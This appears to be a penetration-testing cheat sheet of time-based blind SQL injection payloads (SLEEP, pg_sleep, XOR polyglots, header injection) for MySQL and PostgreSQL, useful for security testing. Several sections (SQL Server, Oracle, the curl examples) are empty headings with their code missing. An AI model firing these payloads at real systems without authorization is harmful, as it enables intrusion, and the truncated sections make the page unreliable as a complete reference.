Time-Based Blind SQL Injection Payloads

Using Time-Based Blind SQL Injection Payloads

Time delays are effective for blind SQLi detection when no error messages are shown. Here are payloads for different databases:

MySQL

Copy-- Basic time-based delay
SELECT SLEEP(10);

-- Inline injection with logic
0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z

-- Using benchmark for delay (CPU-based)
1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(FLOOR(RAND()*2),(SELECT SLEEP(5))) AS x FROM information_schema.tables GROUP BY x) y);

-- Boolean logic delay
' OR IF(1=1, SLEEP(10), 0)-- -

PostgreSQL

Copy-- Standard time-based delay
SELECT pg_sleep(10);

-- Conditional delay with string concatenation
' OR (CASE WHEN ((CLOCK_TIMESTAMP() - NOW()) < interval '0:0:10') 
     THEN (SELECT '1' || pg_sleep(10)) ELSE '0' END)='1

-- More concise version
' OR 1=1; SELECT pg_sleep(5);-- 

-- Using random() for variability
' OR (SELECT CASE WHEN (random() < 0.5) THEN pg_sleep(5) ELSE pg_sleep(0) END);--

Microsoft SQL Server

Oracle

Header-Based SQLi Testing

Some endpoints reflect headers like User-Agent, Referer or X-Forwarded-For. Inject payloads there:

examples:

Using curl to confirm time delays:

Mastering XOR-Based SQL Injection Techniques

Explore how XOR logic in SQL payloads like if(now()=sysdate(),sleep(10),0) can be weaponized for bypassing filters and triggering precise time-based detection.

using xor pollyglots:

test using curl

If the server takes approximately 10 seconds to respond, it strongly indicates a time-based SQL injection vulnerability.

Last updated